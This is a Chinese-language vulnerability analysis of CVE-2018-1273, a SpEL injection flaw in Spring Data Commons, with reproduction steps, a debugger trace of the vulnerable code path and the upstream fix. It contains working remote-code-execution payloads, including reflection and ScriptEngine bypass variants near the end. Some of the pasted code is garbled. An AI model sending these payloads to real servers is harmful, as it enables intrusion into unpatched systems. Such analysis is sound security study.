简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。实际上国内的Java开发采用Spring Data系列的不多。这个漏洞本质也还是SPEL的问题

影响版本

Spring Data Commons在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

- 2.0.x users should upgrade to 2.0.6
- 1.13.x users should upgrade to 1.13.11
- Older versions should upgrade to a supported branch

环境搭建&复现


首先下载官方的示例程序

https://github.com/spring-projects/spring-data-examples

然后切换到一个比较老的有漏洞的版本

git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d


IDEA打开自动处理完依赖后,运行这个main方法



访问 http://localhost:8080/users

post传入payload,成功命令执行:

username[#this.getClass().forName("java.lang.Runtime").get Runtime().exec("calc")]=&password=&repeatedPassword=



漏洞分析

在SpringDataWebConfiguration类的特性被启用的时候,会将 ProxyingHandlerMethodArgumentResolver处理器注册到参数处理器中去(这里 在程序启动阶段执行)

```
SpringDataWebConfiguration addArgumentResolvers()

i.class file, bytecode version: 52.0 (Java 8)

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public void addArgumentResolvers(List<HandlerMethodArgumentResolver> argumentResolvers) { argumentResolvers: size = 2

argumentResolvers.add(this.sortResolver());

argumentResolvers.add(this.pageableResolver());


ProxyingHandlerMethodArgumentResolver resolver = new ProxyingHandlerMethodArgumentResolver(this.getRequiredConversionService()); resolver: ProxyingHandlerMethodArgumentResolvers.add(resolver);

argumentResolvers.add(resolver);

argumentResolvers.add(resolver); argumentResolvers: size = 2 resolver: ProxyingHandlerMethodArgumentResolver@8650}

+ {ProxyingHandlerMethodArgumentResolver@8650}
```

这个 ProxyingHandlerMethodArgumentResolver处理器是实现了 HandlerMethodArgumentResolver接口,该接口只有俩个方法, supportsParameter返回true表示支持解析,之后调用resolveArgument将结果作为参数传入



接着我们传入我们的payload:

```
InvocableHandlerMethod  getMethodArgumentValues()

mpiled.class file, bytecode version: 52.0 (Java 8)

MethodParameter[] parameters = this.getMethodParameters(); parameters: MethodParameter[3]@9295

Object[] args = new Object[parameters.length]; args: Object[3]@9512

for(int i = 0; i < parameters.length; ++i) { i: 0

MethodParameter parameter = parameters[i]; parameter: "method 'register' parameter 0" parameters: MethodParameter[3]@9295

parameter.initParameterNameDiscovery(this.parameterNameDiscoverer); parameterNameDiscoverer: DefaultParameterNameDiscoverer@9322

args[i] = this.resolveProvidedArgument(parameter, providedArgs: Object[0]@9511

if (args[i] == null.) { args: Object[3]@9512 i: 0

if (this.argumentResolvers.supportsParameter(parameter)) { argumentResolvers: HandlerMethodArgumentResolverComposite@9247 parameter: "method 'register' parameter: "method 'r
```

```
HandlerMethodArgumentResolverComposite > supportsParameter()

iled .class file, bytecode version: 52.0 (Java 8)

}

public void clear() { this.argumentResolvers.clear(); }

public boolean supportsParameter(MethodParameter parameter) {

return this.getArgumentResolver(parameter) != null;
}
```

然后这里进行遍历,当这里等于ProxyingHandlerMethodArgumentResolver时跟进去

```
**Maver.org.springfameworkspring-jdhc** HandlerMethodArgumentResolverComposite** getArgumentResolver()

**Index proving fameworkspring-jdhc**

**Index proving fameworkspring-
```

这里我们传入的参数是一个接口,所以后面返回true,支持我们去解析

```
ProxyingHandlerMethodArgumentResolver > supportsParameter()

mpiled .class file, bytecode version: 52.0 (Java 8)

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public boolean supportsParameter (MethodParameter parameter) { parameter: "method 'register' parameter 0"

Class<?> type = parameter.getParameterType(); type: "interface example.users.web.UserController$UserForm"

if (!type.isInterface()) { type: "interface example.users.web.UserController$UserForm"

return false;
} else if (parameter.getParameterAnnotation(ProjectedPayload.class) != null) { parameter: "method 'register' parameter 0"

return true;
} else if (AnnotatedElementUtils.findMergedAnnotation(type, ProjectedPayload.class) != null) {

return true;
} else {

String packageName = ClassUtils.getPackageName(type);

return | IGNORED_PACKAGES.stream().anyMatch((it) -> {

return packageName.startsWith(it);
});
```

然后回到这里调用resolveArgument方法进行解析

这里new了一个MapDataBinder对象,然后调用它的bind方法,并且传入了request.getParameterMap() (包含我们的payload)

```
ProxyingHandlerMethodArgumentResolver > createAttribute()

(ed.class file, bytecode version: 52.0 (Java 8)

Download Sources Che
}

protected Object createAttribute(String attributeAlame, MethodParameter parameter, MebDataBinderFactory, Indian MapDataBinder binder - new MapDataBinder(parameter.getParameterType(), this.conversionService); binder: MapDataBinder@9757 parameter: "method binder.bind(new MutablePropertyValues(request.getParameterMap())); binder: MapDataBinder@9757 request: "ServietMebRequest: uni=/users; cilent-return this.proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());

request.getParameterMap() = {ParameterMap@9699} size = 5

} {...} "page" -> {String[1]@10099}

} {...} "size" -> {String[1]@10099}

} {...} "username[#this.getClass().forName("java.lang.Runtime").getRuntim... View
} {...} "password" -> {String[1]@10103}
} {...} "repeatedPassword" -> {String[1]@10105}
```

接着一路走

```
DataBinder > bind()

piled .class file, bytecode version: 52.0 (Java 8)

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peturn this.getTypeConverter().convertIfNecessary(value, requiredType, field);

public void bind(PropertyValues pvs) { pvs: "PropertyValues: length=5; bean property 'page'; bean property 'size'; bean property 'username[#this.getClass().for MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs); mpvs: "PropertyValues: length=5; bean property 'page'; bean property 'size'; bean property 'username[#this.getClass().forName("java.lang")]

protected void doBind(MutablePropertyValues mpvs) {


this.checkAllowedFields(mpvs);

this.checkAllowedFields(mpvs);

this.applyPropertyValues(mpvs);

}
```

这里有个while循环,快进到解析username



这里propertyName包含我们的payload,然后后面就是常规的解析操作

```
MapDataBinder > MapPropertyAccessor > setPropertyValue()

led.class file, bytecode version: 52.0 (Java 8)

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}

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { propertyName: "username[#this.getClass().frName("java.lang.Runtime").getRuntime().exec("c throw new NotWhitablePropertyException(this.type, propertyName);
} else {

StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTopoConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);

Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getProperty.getOuningType();
TypeInformation<?> owningType = leafProperty.getOuningType();
TypeInformation<?> owningType = leafProperty.getOuningType();
propertyType = propertyName.andsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) (...)

expression.setValue(context, value);
}
```

漏洞修复

将StandardEvaluationContext替代为SimpleEvaluationContext,将权限设置为最小

其他点

这里还看陈师傅有说:

Spring Data Commons 2.0.5版本中 MapDataBinder.java 的182添加了:

```
context.setTypeLocator(typeName -> {
    throw new
SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND,
    typeName);
});
```

```
Decompiled .class file, bytecode version: 52.0 (Java 8)

Decompiled .class file vers
```

会导致下面几种执行不成功。这里环境一直搭不出来,有点头大,没有在自己电脑上运行。

```
(new java.lang.ProcessBuilder('calc')).start()
T(java.lang.Runtime).getRuntime().exec('calc.exe')
```

可以使用反射绕过

```
username[#this.getClass().forName("java.lang.Runtime").get
Runtime().exec("calc.exe")]=chybeta&password=chybeta&repea
tedPassword=chybeta
```

还有这种基于js的

```
username[#this.getClass().forName("javax.script.ScriptEngi
neManager").newInstance().getEngineByName("js").eval("java
.lang.Runtime.getRuntime().exec('xterm')")]=asdf
```

这里环境一直搭不起,先留着吧,有时间再来看看

https://www.mi1k7ea.com/2020/02/03/%E6%B5%85%E6%9E%90Spring-Data-Commons%E4%B9%8BCVE-2018-1273/

https://xz.aliyun.com/t/2269

https://mp.weixin.qq.com/s? biz=MzU0NzYzMzU0Mw==&mid=2247483666 &idx=1&sn=91e3b2aab354c55e0677895c02fb068c&from=1084195010&wm=20 005 0002&weiboauthoruid=5458358938

https://xushao.ltd/post/cve-2018-1273-fen-xi/#%E8%A1%A5%E4%B8%81%E 5%88%86%E6%9E%90